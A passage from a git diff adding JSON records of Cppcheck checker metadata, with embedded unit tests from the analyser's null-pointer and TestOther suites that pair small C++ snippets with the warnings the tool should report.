[nullPointerDefaultArg]\\n\",\n errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" p = a;\\n\"\n \" *p = 0;\\n\" // <- don't simplify and verify\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" p += a;\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int *p = 0) {\\n\"\n \" if (p == 0) {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << p ? *p : 0;\\n\" // Due to operator precedence, this is equivalent to: (std::cout << p) ? *p : 0;\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str()); // Check the first branch of ternary\n\n check(\"void f(char *p = 0) {\\n\"\n \" std::cout << p ? *p : 0;\\n\" // Due to operator precedence, this is equivalent to: (std::cout << p) ? *p : 0;\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\"\n \"[test.cpp:2:23]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << (p ? *p : 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" std::cout << (p && p[0] ? *p : 42);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void isEmpty(int *p = 0) {\\n\"\n \" return p && *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int *p = 0) {\\n\"\n \" return !p || *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // bar may initialize p but be can't know for sure without knowing\n // if p is passed in by reference and is modified by bar()\n check(\"void f(int *p = 0) {\\n\"\n \" bar(p);\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" printf(\\\"%p\\\", p);\\n\"\n \" *p = 0;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n // The init() function may or may not initialize p, but since the address\n // of p is passed in, it's a good bet that p may be modified and\n // so we should not report an error.\n check(\"void f(int *p = 0) {\\n\"\n \" init(&p);\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void init(int* &g);\\n\"\n \"void f(int *p = 0) {\\n\"\n \" init(p);\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p == 0) {\\n\"\n \" init(&p);\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p == 0) {\\n\"\n \" throw SomeException;\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x, int *p = 0) {\\n\"\n \" int var1 = x ? *p : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int* i = nullptr) { *i = 0; }\\n\" // #11567\n \"void g() { f(); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (warning) Possible null pointer dereference if the default parameter value is used: i [nullPointerDefaultArg]\\n\", errout_str());\n }\n\n void nullpointer_internal_error() { // ticket #5080\n check(\"struct A { unsigned int size; };\\n\"\n \"struct B { struct A *a; };\\n\"\n \"void f(struct B *b) {\\n\"\n \" unsigned int j;\\n\"\n \" for (j = 0; j < b[0].a->size; ++j) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void ticket6505() {\n check(\"void foo(MythSocket *socket) {\\n\"\n \" bool do_write=0;\\n\"\n \" if (socket) {\\n\"\n \" do_write=something();\\n\"\n \" }\\n\"\n \" if (do_write) {\\n\"\n \" socket->func();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void bar() {\\n\"\n \" foo(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void subtract() {\n check(\"void foo(char *s) {\\n\"\n \" char *p = s - 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\",\n errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" char *p = s - 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:15]: (warning) Either the condition '!s' is redundant or there is overflow in pointer subtraction. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" s -= 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\",\n errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" s -= 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:5]: (warning) Either the condition '!s' is redundant or there is overflow in pointer subtraction. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"int* f8() { int *x = NULL; return --x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"int* f9() { int *x = NULL; return x--; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (error) Overflow in pointer arithmetic, NULL pointer is subtracted. [nullPointerArithmetic]\\n\", errout_str());\n }\n\n void addNull() {\n check(\"void foo(char *s) {\\n\"\n \" char * p = s + 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" char * p = s + 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:16]: (warning) Either the condition '!s' is redundant or there is pointer arithmetic with NULL pointer. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" char * p = 20 + s;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" char * p = 20 + s;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:17]: (warning) Either the condition '!s' is redundant or there is pointer arithmetic with NULL pointer. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" s += 20;\\n\"\n \"}\\n\"\n \"void bar() { foo(0); }\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"void foo(char *s) {\\n\"\n \" if (!s) {}\\n\"\n \" s += 20;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:3:5]: (warning) Either the condition '!s' is redundant or there is pointer arithmetic with NULL pointer. [nullPointerArithmeticRedundantCheck]\\n\", errout_str());\n\n check(\"int* f7() { int *x = NULL; return ++x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:35]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"int* f10() { int *x = NULL; return x++; }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (error) Pointer addition with NULL pointer. [nullPointerArithmetic]\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"const char* get() const { return 0; }\\n\"\n \"void f(foo x) { if (get()) x += get(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef struct { uint8_t* buf, *buf_end; } S;\\n\" // #11117\n \"void f(S* s, uint8_t* buffer, int buffer_size) {\\n\"\n \" if (buffer_size < 0) {\\n\"\n \" buffer_size = 0;\\n\"\n \" buffer = NULL;\\n\"\n \" }\\n\"\n \" s->buf = buffer;\\n\"\n \" s->buf_end = s->buf + buffer_size;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void isPointerDeRefFunctionDecl() {\n check(\"const char** get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define ctu(code) ctu_(code, __FILE__, __LINE__)\n template\n void ctu_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CTU::FileInfo *ctu = CTU::getFileInfo(tokenizer);\n\n // Check code..\n std::list fileInfo;\n Check& c = getCheck();\n fileInfo.push_back(c.getFileInfo(tokenizer, settings, \"\"));\n c.analyseWholeProgram(*ctu, fileInfo, settings, *this); // TODO: check result\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n delete ctu;\n }\n\n void ctuTest() {\n setMultiline();\n\n ctu(\"void f(int *fp) {\\n\"\n \" a = *fp;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" int *p = 0;\\n\"\n \" f(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: error: Null pointer dereference: fp [ctunullpointer]\\n\"\n \"[test.cpp:5:12]: note: Assignment 'p=0', assigned value is 0\\n\"\n \"[test.cpp:6:4]: note: Calling function f, 1st argument is null\\n\"\n \"[test.cpp:2:10]: note: Dereferencing argument fp that is null\\n\", errout_str());\n\n ctu(\"void use(int *p) { a = *p + 3; }\\n\"\n \"void call(int x, int *p) { x++; use(p); }\\n\"\n \"int main() {\\n\"\n \" call(4,0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: error: Null pointer dereference: p [ctunullpointer]\\n\"\n \"[test.cpp:4:7]: note: Calling function call, 2nd argument is null\\n\"\n \"[test.cpp:2:33]: note: Calling function use, 1st argument is null\\n\"\n \"[test.cpp:1:25]: note: Dereferencing argument p that is null\\n\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (!var)\\n\"\n \" return -1;\\n\" // <- early return\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(a, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void dostuff(int *x, int *y) {\\n\"\n \" if (cond)\\n\"\n \" *y = -1;\\n\" // <- conditionally written\n \" *x = *y;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(a, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // else\n ctu(\"void dostuff(int mask, int *p) {\\n\"\n \" if (mask == 13) ;\\n\"\n \" else *p = 45;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(0, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ?, &&, ||\n ctu(\"void dostuff(int mask, int *p) {\\n\"\n \" x = (mask & 1) ? *p : 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" dostuff(0, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"void g(int* x) { *x; }\\n\"\n \"void f(int* x) {\\n\"\n \" if (x)\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"size_t f(int* p) {\\n\"\n \" size_t len = sizeof(*p);\\n\"\n \" return len;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(NULL);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu(\"size_t f(int* p) {\\n\"\n \" size_t len = alignof(*p);\\n\"\n \" return len;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(NULL);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ctu: memory allocation fails\n ctu(\"void f(int* p) {\\n\"\n \" *p = 0;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int* q = (int*)malloc(4);\\n\"\n \" f(q);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: warning: If memory allocation fails, then there is a possible null pointer dereference: p [ctunullpointerOutOfMemory]\\n\"\n \"[test.cpp:5:26]: note: Assuming allocation function fails\\n\"\n \"[test.cpp:5:14]: note: Assignment 'q=(int*)malloc(4)', assigned value is 0\\n\"\n \"[test.cpp:6:6]: note: Calling function f, 1st argument is null\\n\"\n \"[test.cpp:2:6]: note: Dereferencing argument p that is null\\n\", errout_str());\n\n // ctu: resource allocation fails\n ctu(\"void foo(FILE* f) {\\n\"\n \" fprintf(f, a);\\n\"\n \"}\\n\"\n \"void bar() {\\n\"\n \" FILE* f = fopen(notexist,t);\\n\"\n \" foo(f);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: warning: If resource allocation fails, then there is a possible null pointer dereference: f [ctunullpointerOutOfResources]\\n\"\n \"[test.cpp:5:20]: note: Assuming allocation function fails\\n\"\n \"[test.cpp:5:20]: note: Assignment 'f=fopen(notexist,t)', assigned value is 0\\n\"\n \"[test.cpp:6:8]: note: Calling function foo, 1st argument is null\\n\"\n \"[test.cpp:2:13]: note: Dereferencing argument f that is null\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestNullPointer)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkAccessOfMovedVariable.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkAccessOfMovedVariable.json new file mode 100644 index 0000000..c77bc2a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkAccessOfMovedVariable.json @@ -0,0 +1,13 @@ +{ + "name": "checkAccessOfMovedVariable", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 44, + "branches": 18, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCastIntToCharAndBack.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCastIntToCharAndBack.json new file mode 100644 index 0000000..9883918 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkCastIntToCharAndBack.json @@ -0,0 +1,22 @@ +{ + "name": "checkCastIntToCharAndBack", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 46, + "branches": 22, + "apis": 77, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 10932 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n 